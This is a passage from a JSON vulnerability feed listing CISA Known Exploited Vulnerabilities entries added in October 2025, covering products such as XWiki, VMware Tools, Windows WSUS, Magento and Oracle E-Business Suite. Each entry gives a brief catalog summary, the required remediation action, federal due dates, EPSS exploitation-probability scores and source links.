SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-30","updatedAt":null,"regions":["Global"],"vendor":"XWiki","product":"Platform","stacks":["XWiki","Platform"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-30","dueAt":"2025-11-20","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99974,"percentile":0.99978,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-24893&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-24893","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-24893 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-24893&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-24893, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-41244","cveId":"CVE-2025-41244","aliases":[],"kind":"vulnerability","title":"Broadcom VMware Aria Operations and VMware Tools Privilege Defined with Unsafe Actions Vulnerability","summary":"Broadcom VMware Aria Operations and VMware Tools contain a privilege defined with unsafe actions vulnerability. A malicious local actor with non-administrative privileges having access to a VM with VMware Tools installed and managed by Aria Operations with SDMP enabled may exploit this vulnerability to escalate privileges to root on the same VM.","detail":"CISA added this entry on 2025-10-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-30","updatedAt":null,"regions":["Global"],"vendor":"Broadcom","product":"VMware Aria Operations and VMware Tools","stacks":["VMware","Broadcom","VMware Aria Operations and VMware Tools"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-30","dueAt":"2025-11-20","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.08629,"percentile":0.95064,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-41244&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-41244","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-41244 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-41244&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-41244, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-6204","cveId":"CVE-2025-6204","aliases":[],"kind":"vulnerability","title":"Dassault Systèmes DELMIA Apriso Code Injection Vulnerability","summary":"Dassault Systèmes DELMIA Apriso contains a code injection vulnerability that could allow an attacker to execute arbitrary code.","detail":"CISA added this entry on 2025-10-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-28","updatedAt":null,"regions":["Global"],"vendor":"Dassault Systèmes","product":"DELMIA Apriso","stacks":["Dassault Systèmes","DELMIA Apriso"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-28","dueAt":"2025-11-18","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.79551,"percentile":0.99601,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-6204&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-6204","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-6204 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-6204&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-6204, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-6205","cveId":"CVE-2025-6205","aliases":[],"kind":"vulnerability","title":"Dassault Systèmes DELMIA Apriso Missing Authorization Vulnerability","summary":"Dassault Systèmes DELMIA Apriso contains a missing authorization vulnerability that could allow an attacker to gain privileged access to the application.","detail":"CISA added this entry on 2025-10-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-28","updatedAt":null,"regions":["Global"],"vendor":"Dassault Systèmes","product":"DELMIA Apriso","stacks":["Dassault Systèmes","DELMIA Apriso"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-28","dueAt":"2025-11-18","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.73672,"percentile":0.99468,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-6205&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-6205","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-6205 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-6205&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-6205, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-54236","cveId":"CVE-2025-54236","aliases":[],"kind":"vulnerability","title":"Adobe Commerce and Magento Improper Input Validation Vulnerability","summary":"Adobe Commerce and Magento Open Source contain an improper input validation vulnerability that could allow an attacker to take over customer accounts through the Commerce REST API.","detail":"CISA added this entry on 2025-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-24","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Commerce and Magento","stacks":["Adobe Commerce and Magento","Adobe","Commerce and Magento"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-24","dueAt":"2025-11-14","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9466,"percentile":0.99855,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-54236&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-54236","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-54236 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-54236&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-54236, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-59287","cveId":"CVE-2025-59287","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Server Update Service (WSUS) Deserialization of Untrusted Data Vulnerability","summary":"Microsoft Windows Server Update Service (WSUS) contains a deserialization of untrusted data vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2025-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-24","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-24","dueAt":"2025-11-14","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9998,"percentile":0.99981,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-59287&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-59287","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-59287 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-59287&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-59287, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-61932","cveId":"CVE-2025-61932","aliases":[],"kind":"vulnerability","title":"Motex LANSCOPE Endpoint Manager Improper Verification of Source of a Communication Channel Vulnerability","summary":"Motex LANSCOPE Endpoint Manager contains an improper verification of source of a communication channel vulnerability allowing an attacker to execute arbitrary code by sending specially crafted packets.","detail":"CISA added this entry on 2025-10-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-22","updatedAt":null,"regions":["Global"],"vendor":"Motex","product":"LANSCOPE Endpoint Manager","stacks":["Motex","LANSCOPE Endpoint Manager"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-22","dueAt":"2025-11-12","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02768,"percentile":0.86213,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-61932&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-61932","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-61932 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-61932&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-61932, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-48503","cveId":"CVE-2022-48503","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Unspecified Vulnerability","summary":"Apple macOS, iOS, tvOS, Safari, and watchOS contain an unspecified vulnerability in JavaScriptCore that when processing web content may lead to arbitrary code execution. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","detail":"CISA added this entry on 2025-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-20","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-20","dueAt":"2025-11-10","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03213,"percentile":0.88099,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-48503&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-48503","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-48503 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-48503&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-48503, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-2746","cveId":"CVE-2025-2746","aliases":[],"kind":"vulnerability","title":"Kentico Xperience CMS Authentication Bypass Using an Alternate Path or Channel Vulnerability","summary":"Kentico Xperience CMS contains an authentication bypass using an alternate path or channel vulnerability that could allow an attacker to control administrative objects.","detail":"CISA added this entry on 2025-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-20","updatedAt":null,"regions":["Global"],"vendor":"Kentico","product":"Xperience CMS","stacks":["Kentico","Xperience CMS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-20","dueAt":"2025-11-10","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.74055,"percentile":0.9948,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-2746&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-2746","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-2746 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-2746&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-2746, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-2747","cveId":"CVE-2025-2747","aliases":[],"kind":"vulnerability","title":"Kentico Xperience CMS Authentication Bypass Using an Alternate Path or Channel Vulnerability","summary":"Kentico Xperience CMS contains an authentication bypass using an alternate path or channel vulnerability that could allow an attacker to control administrative objects.","detail":"CISA added this entry on 2025-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-20","updatedAt":null,"regions":["Global"],"vendor":"Kentico","product":"Xperience CMS","stacks":["Kentico","Xperience CMS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-20","dueAt":"2025-11-10","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97166,"percentile":0.99894,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-2747&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-2747","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-2747 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-2747&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-2747, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-33073","cveId":"CVE-2025-33073","aliases":[],"kind":"vulnerability","title":"Microsoft Windows SMB Client Improper Access Control Vulnerability","summary":"Microsoft Windows SMB Client contains an improper access control vulnerability that could allow for privilege escalation. An attacker could execute a specially crafted malicious script to coerce the victim machine to connect back to the attack system using SMB and authenticate.","detail":"CISA added this entry on 2025-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-20","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft Office","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-20","dueAt":"2025-11-10","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.82699,"percentile":0.99664,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-33073&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-33073","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-33073 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-33073&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-33073, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-61884","cveId":"CVE-2025-61884","aliases":[],"kind":"vulnerability","title":"Oracle E-Business Suite Server-Side Request Forgery (SSRF) Vulnerability","summary":"Oracle E-Business Suite contains a server-side request forgery (SSRF) vulnerability in the Runtime component of Oracle Configurator. This vulnerability is remotely exploitable without authentication.","detail":"CISA added this entry on 2025-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-20","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"E-Business Suite","stacks":["Oracle","E-Business Suite"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-20","dueAt":"2025-11-10","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95891,"percentile":0.99872,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-61884&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-61884","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-61884 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-61884&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-61884, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-54253","cveId":"CVE-2025-54253","aliases":[],"kind":"vulnerability","title":"Adobe Experience Manager Forms Code Execution Vulnerability","summary":"Adobe Experience Manager Forms in JEE contains an unspecified vulnerability that allows for arbitrary code execution.","detail":"CISA added this entry on 2025-10-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-15","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Experience Manager (AEM) Forms","stacks":["Adobe","Experience Manager (AEM) Forms"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-15","dueAt":"2025-11-05","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.88262,"percentile":0.99767,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-54253&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-54253","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-54253 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-54253&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-54253, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-7836","cveId":"CVE-2016-7836","aliases":[],"kind":"vulnerability","title":"SKYSEA Client View Improper Authentication Vulnerability","summary":"SKYSEA Client View contains an improper authentication vulnerability that allows remote code execution via a flaw in processing authentication on the TCP connection with the management console program.","detail":"CISA added this entry on 2025-10-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-14","updatedAt":null,"regions":["Global"],"vendor":"SKYSEA","product":"Client View","stacks":["SKYSEA","Client View"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-14","dueAt":"2025-11-04","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.1923,"percentile":0.97312,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-7836&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry 